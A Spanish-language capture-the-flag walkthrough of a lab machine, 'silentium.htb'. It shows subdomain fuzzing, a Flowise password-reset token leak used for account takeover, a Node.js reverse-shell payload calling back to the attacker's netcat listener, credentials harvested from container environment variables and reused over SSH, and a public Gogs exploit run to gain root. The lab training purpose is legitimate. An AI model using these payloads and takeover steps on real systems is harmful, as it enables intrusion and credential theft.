Reconocimiento inicial
Enumeración con nmap
Comenzamos la fase de enumeración identificando la superficie de ataque mediante un escaneo de puertos. Utilizamos nmap para listar los servicios activos y sus versiones.
nmap -F -sV -sC -n -Pn 10.129.93.245
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-03 16:33 +0000
Nmap scan report for 10.129.93.245
Host is up (0.041s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
El resultado del escaneo revela dos servicios activos. Entre ellos, un servicio SSH en el puerto 22 y un servicio web nginx en el puerto 80. Tambien obtenemos el nombre de host de la máquina objetivo.
echo "10.129.93.245 silentium.htb" | sudo tee -a /etc/hosts >/dev/null
Acceso al servicio de nginx
Al comprobar que la web principal no muestra funcionalidades, formularios ni rutas de interés.Realizamos una búsqueda de subdominios mediante fuzzing de la cabecera Host.
ffuf -u http://10.129.93.245/ \
-H 'Host: FUZZ.silentium.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-ac -mc all
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.93.245/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.silentium.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 60ms]
:: Progress: [4989/4989] :: Job [1/1] :: 970 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
El escaneo revela el subdominio: staging. Al acceder mediante el navegador, se muestra un panel de inicio de sesión correspondiente a Flowise, una plataforma basada en interfaz visual para la construcción de flujos con modelos de lenguaje.

Para comprometer la aplicación, analizamos dos vectores, el CVE-2025-58434 para obtener acceso mediante la divulgación de tokens de restablecimiento (Account Takeover), y CVE-2025-59528 para lograr ejecución remota de código (RCE) a través de componentes mal configurados.
Explotación del CVE-2025-58434
El CVE-2025-58434 es una vulnerabilidad de control de acceso que permite la divulgación del token temporal de restablecimiento directamente en la respuesta HTTP, facilitando la apropiación de cuentas (Account Takeover) sin necesidad de validación previa.

A partir de los nombres identificados en la aplicación web, podemos generar una lista de posibles emails para enumerar las cuentas:
marcus@silentium.htb
ben@silentium.htb
elena@silentium.htb
marcusthorne@silentium.htb
elenarossi@silentium.htb
marcus.thorne@silentium.htb
elena.rossi@silentium.htb
mthorne@silentium.htb
erossi@silentium.htb
Capturamos una petición de recuperación mediante Burp Suite y la enviamos a Intruder para probar los diferentes emails. El ataque muestra que el email ben@silentium.htb responde con un código de estado 201, filtrando en su cuerpo el token temporal tempToken:
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 03 Sep 2026 17:13:57 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 579
Connection: keep-alive
Access-Control-Allow-Origin: http://staging.silentium.htb
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"243-Th+Skw2Qt1bm0R8vKcWDsKRljr0"
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
"tempToken": "elBofb4KX3bjLAfXTzRuOE9I8VxjmtV01gExAC1A5x2BDGSEAcA0hjOwnKLDf1EG",
"tokenExpiry": "2026-09-03T17:28:57.272Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-09-03T17:13:57.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}
Con el token temporal, realizamos una petición POST para actualizar la contraseña del usuario:
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb","tempToken":"elBofb4KX3bjLAfXTzRuOE9I8VxjmtV01gExAC1A5x2BDGSEAcA0hjOwnKLDf1EG","password":"GxPassword123!"}}'
HTTP/1.1 201 Created
Server: nginx/1.24.0 (Ubuntu)
Date: Thu, 03 Sep 2026 17:22:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 493
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Credentials: true
ETag: W/"1ed-Bwd8GDyWT4ijVhE+iRhFylsU/0k"
{"user":{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","name":"admin","email":"ben@silentium.htb","credential":"$2a$05$z5YLU/QZrfSW3tn69GnkUu6w.3rv5hictlAKvNL23hYgwWaQ5SLEe","tempToken":"","tokenExpiry":null,"status":"active","createdDate":"2026-01-29T20:14:57.000Z","updatedDate":"2026-09-03T17:22:27.000Z","createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73","updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}
Con la contraseña restablecida con éxito, procedemos a iniciar sesión en el panel de control de la aplicación.

Explotación del CVE-2025-59528
El CVE-2025-59528 es una vulnerabilidad de ejecución remota de código (RCE) en el componente CustomMCP de Flowise. La aplicación procesa de forma insegura los parámetros de configuración y permite evaluar código en el servidor, facilitando la invocación de módulos nativos de Node.js como child_process.
Creamos un archivo llamado payload.json para ejecutar una reverse shell:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.147 4444 >/tmp/f');return 1;})()} )"
}
}
A continuación, realizamos la autenticación mediante la API para obtener las cookies de sesión y almacenarlas localmente:
curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-c cookies.txt \
-d '{"email":"ben@silentium.htb","password":"GxPassword123!"}'
{"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73","email":"ben@silentium.htb","name":"admin","roleId":"0d9b0a16-df95-198c-8e71-f517d74b70ef","activeOrganizationId":"4b8da5da-66a2-4a4d-9c6c-7657c28c2d11","activeOrganizationSubscriptionId":null,"activeOrganizationCustomerId":null,"activeOrganizationProductId":"","isOrganizationAdmin":true,"activeWorkspaceId":"c54b3e15-690b-4d76-bcca-6ee241f57f46","activeWorkspace":"Default Workspace","assignedWorkspaces":[{"id":"c54b3e15-690b-4d76-bcca-6ee241f57f46","name":"Default Workspace","role":"owner","organizationId":"4b8da5da-66a2-4a4d-9c6c-7657c28c2d11"}],"isApiKeyValidated":true,"permissions":["organization","workspace"],"features":{},"isSSO":false}
TOKEN=$(awk '$6=="token" {print $7}' cookies.txt)
Iniciamos un listener con Netcat en el puerto 4444 para recibir la conexión:
$nc -lnvp 4444
listening on [any] 4444 ...
Enviamos el payload contra el endpoint vulnerable /api/v1/node-load-method/customMCP utilizando las cookies:
curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-b cookies.txt \
-d @payload.json
[{"label":"No Available Actions","name":"error","description":"No available actions, please check your API key and refresh"}]
Al instante, recibimos la conexión en nuestro listener y validamos el contexto de ejecución:
connect to [10.10.15.147] from (UNKNOWN) [10.129.93.245] 44231
sh: can't access tty; job control turned off
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Al enumerar, en encontramos con el archivo .dockerenv en el directorio raíz, confirmando que nos encontramos con privilegios de root pero dentro de un contenedor Docker:
la -la
total 68
drwxr-xr-x 1 root root 4096 Apr 8 15:14 .
drwxr-xr-x 1 root root 4096 Apr 8 15:14 ..
-rwxr-xr-x 1 root root 0 Apr 8 15:14 .dockerenv
drwxr-xr-x 1 root root 4096 Jul 16 2025 bin
drwxr-xr-x 5 root root 340 Sep 3 16:31 dev
drwxr-xr-x 1 root root 4096 Apr 8 15:14 etc
drwxr-xr-x 1 root root 4096 Jul 16 2025 home
drwxr-xr-x 1 root root 4096 Jul 15 2025 lib
drwxr-xr-x 5 root root 4096 Jul 15 2025 media
drwxr-xr-x 2 root root 4096 Jul 15 2025 mnt
drwxr-xr-x 1 root root 4096 Jul 16 2025 opt
dr-xr-xr-x 286 root root 0 Sep 3 16:31 proc
drwx------ 1 root root 4096 Apr 8 09:41 root
drwxr-xr-x 3 root root 4096 Jul 15 2025 run
drwxr-xr-x 2 root root 4096 Jul 15 2025 sbin
drwxr-xr-x 2 root root 4096 Jul 15 2025 srv
dr-xr-xr-x 13 root root 0 Sep 3 16:31 sys
drwxrwxrwt 1 root root 4096 Sep 3 18:16 tmp
drwxr-xr-x 1 root root 4096 Apr 8 09:41 usr
drwxr-xr-x 1 root root 4096 Jul 15 2025 var
Pivoting al Host
Una vez dentro del contenedor, revisamos las variables de entorno env para identificar configuraciones o credenciales reutilizables:
env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=3
PORT=3000
HOME=/root
OLDPWD=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
Las variables entorno contienen credenciales sensibles y parámetros internos de configuración:
FLOWISE_PASSWORD=F1l3_d0ck3r
SENDER_EMAIL=ben@silentium.htb
SMTP_PASSWORD=r04D!!_R4ge
Probamos estas credenciales para autenticarnos mediante SSH contra la máquina principal utilizando el usuario ben@silentium.htb y contraseña r04D!!_R4ge.
ssh ben@silentium.htb
whoami
ben
id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
Enumeración del Host
Revisamos el estado de las conexiones de red locales:
netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:39145 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
El puerto 3000 aloja la instancia de Flowise, mientras que el puerto 3001 expone una instancia de Gogs alojada en /opt/gogs:
curl http://127.0.0.1:3001 | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
100 8049 0 8049 0 0 393k 0 --:--:-- --:--:-- --:--:-- 413k
curl: Failed writing body
ps -ef | grep gogs
root 1499 1 0 16:31 ? 00:00:02 /opt/gogs/gogs/gogs web
ben 25512 23464 0 20:05 pts/0 00:00:00 grep --color=auto gogs
ls -al /opt
total 16
drwxr-xr-x 4 root root 4096 Apr 8 18:30 .
drwxr-xr-x 22 root root 4096 Apr 8 09:41 ..
drwx--x--x 4 root root 4096 Apr 8 09:41 containerd
drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs
Establecemos un reenvío de puertos mediante SSH desde nuestra máquina local para inspeccionar la interfaz web de Gogs:
ssh -L 3001:127.0.0.1:3001 ben@staging.silentium.htb
Desde el navegador accedemos a http://localhost:3001. En la sección de Explore podemos ver al usuario ben, pero al intentar iniciar sesión con las credenciales que tenemos no es posible autenticarnos.

Para profundizar en el servicio, verificamos la versión de Gogs directamente en el host:
/opt/gogs/gogs/gogs --version
Gogs version 0.13.3
La versión 0.13.3 es vulnerable al CVE-2025-8110. Se trata de una vulnerabilidad crítica de ejecución remota de código (RCE).
Escalada de privilegios con la explotación del CVE-2025-8110
Utilizamos el exploit público desarrollado por zAbuQasem gogs-CVE-2025-8110.
El script comienza automatizando la creación de una cuenta y la autenticación en Gogs a través de las funciones register y login. Extrae los tokens CSRF necesarios, registra al usuario zAbuQasem, establece una sesión válida y genera un token de API.
Aprovechando este acceso autenticado, el script crea un repositorio temporal, lo clona localmente e introduce un enlace simbólico que apunta directamente a .git/config. Mediante una petición PUT a la API, sobrescribe este archivo de configuración para inyectar una directiva sshCommand con una reverse shell, logrando la Ejecución Remota de Código (RCE).
Como el exploit fallaba durante el flujo automatizado, comentamos la línea register(session, args.url, username, password) de main y realizamos el registro manualmente con los datos del exploit.
A continuación, configuramos los parámetros globales de Git:
git config --global user.email "zAbuQasem@attacker.com"
git config --global user.name "zAbuQasem"
Iniciamos otro listener con Netcat en el puerto 4444 para recibir la conexión:
nc -lnvp 4444
listening on [any] 4444 ...
Por último, ejecutamos el script de explotación:
python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.15.147 -lp 4444
[+] Application token: 6dc673d333304674ed2cb9aef52a11dff1090925
Repo creation status: 201
Cloning into '/tmp/c178ce12af1a'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 262 bytes | 262.00 KiB/s, done.
[master de81ebe] Add malicious symlink
1 file changed, 1 insertion(+)
create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 6 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 301 bytes | 301.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://127.0.0.1:3001/zAbuQasem/c178ce12af1a.git
17d17dd..de81ebe master -> master
[+] Exploit sent, check your listener!
[-] Error: HTTPConnectionPool(host='127.0.0.1', port=3001): Read timed out. (read timeout=5)
Y en el listener obtenemos la conexión:
connect to [10.10.15.147] from (UNKNOWN) [10.129.93.245] 56968
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)